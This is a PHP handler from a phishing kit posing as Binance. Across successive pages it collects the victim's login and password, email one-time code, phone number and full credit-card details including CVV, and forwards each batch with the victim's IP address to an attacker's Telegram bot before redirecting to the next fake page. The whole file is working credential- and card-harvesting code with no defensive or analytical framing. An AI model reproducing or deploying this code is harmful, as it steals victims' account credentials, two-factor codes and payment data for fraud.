<?php
session_start();
require 'config.php';
function sendTotelegram($data){
global $bot;
global $chat_id;
$data = urlencode($data);
$api = "https://api.telegram.org/bot$bot/sendMessage?chat_id=$chat_id&text=$data";
$c = curl_init($api);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
$res = curl_exec($c);
curl_close($c);
return $res;
}
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
$msg = "
BINANCE - New Log
--------------------------
pass: ".$_POST['pass']."
User: ".$_POST['user']."
--------------------------
IP: $ip
";
sendTotelegram($msg);
header("location: gmail.php");
}
if(isset($_POST['gmail'])){
$_SESSION['_gmail'] = $_POST['gmail'];
$msg = "
BINANCE- New gmail
--------------------------
Email-Otp: ".$_POST['gmail']."
--------------------------
IP: $ip
";
sendTotelegram($msg);
header("location: phone.php");
}
if(isset($_POST['phone'])){
$_SESSION['_phone'] = $_POST['phone'];
$msg = "
BINANCE- New phone
--------------------------
Phone: ".$_POST['phone']."
--------------------------
IP: $ip
";
sendTotelegram($msg);
header("location: card.php");
}
if(isset($_POST['cc'])){
$_SESSION['_cc'] = $_POST['cc'];
$msg = "
BINANCE - New CC
--------------------------
Name: ".$_POST['name']."
Cc: ".$_POST['cc']."
Exp: ".$_POST['exp']."
Cvv: ".$_POST['cvv']."
--------------------------
IP: $ip
";
sendTotelegram($msg);
header("location: wait.php?next=exit.php");
}
?>